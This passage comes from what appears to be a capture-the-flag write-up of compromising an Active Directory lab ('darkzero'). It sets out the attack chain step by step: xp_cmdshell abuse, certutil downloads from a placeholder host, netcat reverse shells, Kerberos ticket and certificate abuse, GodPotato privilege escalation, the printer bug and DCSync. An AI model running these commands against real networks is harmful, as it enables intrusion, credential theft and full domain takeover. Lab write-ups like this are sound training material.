From here, I did the same enumeration, which didn't show much; however, as we are a service account, I tried to enable xp_cmdshell, which worked.

Initial access:

Based on the command execution on DC02, we can use this to upload an nc64.exe binary to the host to obtain a reverse shell.

Upload the binary.

xp_cmdshell "certutil -urlcache -f http://x.x.x.x/nc64.exe C:\ProgramData\nc64.exe"

Leverage the binary to get a reverse shell, catching it via Penelope.

xp_cmdshell "C:\ProgramData\nc64.exe x.x.x.x 443 -e cmd"

SVC_SQL access enumeration:

My first thought when getting this shell was that it would have impersonation privileges; however, this was not the case based on my enumeration.

One item of note was a Policy_Backup.inf, which we could read in the root directory.

Pulling this info and reading it from the attack box, I gleaned only one section of note, SeServiceLogonRight, which I should have taken note of but ignored at first, as I wasn't experienced with this privilege.

After I got stuck, I leveraged PowerView to enumerate trusts, which showed bidirectional trust, meaning if I could access DC02 I might use the printer bug to move to DC01

SeServiceLogonRight:

This is where I needed to look for an adult, as I still wasn't 100% sure how to use this, but IppSec explained it well.

The account svc_sql has the right to logon as a service, which allows for SeImpersonate privileges. However, we need to obtain a password, hash, or ticket to logon as a service. So let's do that.

Upload Rubeus to DC02 by any means you wish.

certutil -urlcache -f http://x.x.x.x/Rubeus.exe R.exe

Use Rubeus to display the current Kerberos ticket of svc_sql.

Take the base64 output and add it to a file, then decode it into a .kirbi file.

Convert the .kirbi into a usable .ccache.

Verify the contents of the ticket.

Now, to use the ticket, I need to set up a pivot to access DC02 via ligolo.

Add the new host to our /etc/hosts records.

Adding entry to /etc/hosts

Now request a certificate for the user via Kerberos (we know a CA is present from the earlier recon output).

certipy req -k -dc-ip '172.16.20.2' -target 'dc02.darkzero.ext' -ca 'darkzero-ext-DC02-CA'

Now I can use the PFX to get the NTLM hash of this account.

certipy auth -pfx svc_sql.pfx -dc-ip '172.16.20.2'

Now use NXC to change the password.

nxc smb dc02.darkzero.ext -u 'svc_sql' -H '816ccb849956b531db139346751db65f' -M change-password -o NEWPASS=Password123

Now, back in our shell, we can upload RunasCs.exe to get a Type 5 reverse shell that we can catch via Penelope.

RunasCs.exe svc_sql Password123 cmd.exe -r 10.10.14.112:8080 -l 5 -f 2 -b

DC02 Escalation:

Now that the service account has SeImpersonate privilege, escalation is simple.

Upload GodPotato.

Run GodPotato using the NC binary uploaded prior to gain SYSTEM access on DC02.

GodPotato-NET4.exe -cmd "C:\ProgramData\nc64.exe x.x.x.x 443 -e cmd"

Escalation to DC01 via PrinterBug:

As I control DC02 and there is bidirectional trust, I can use the DC's unconstrained delegation against it.

Create a quick admin user on DC02.

Next, use psexec and the ligolo tunnel to get into DC02, and set up Rubeus in monitor mode: .\Rubeus.exe monitor /interval:5 /nowrap.

psexec.py user@DC02.darkzero.ext

Now reconnect to MSSQL and use xp_dirtree to force authentication to DC02 to obtain a ticket.

Convert the base64 output into a usable ticket.

Leverage the ticket to DCSync.

secretsdump.py DC01.darkzero.htb -k -no-pass

PSExec into DC01.

psexec.py Administrator@DC01.darkzero.htb -hashes :xxxx

📚

The information within this article is intended solely for educational purposes. It is crucial that the techniques and methodologies discussed should only be used for educational and ethical purposes. They should never be leveraged in a manner that could cause unlawful harm or infringe upon the rights, security, or privacy of others. It is essential for anyone engaging with this content to approach it with a mindset of learning and understanding, ensuring that knowledge gained is used responsibly and ethically.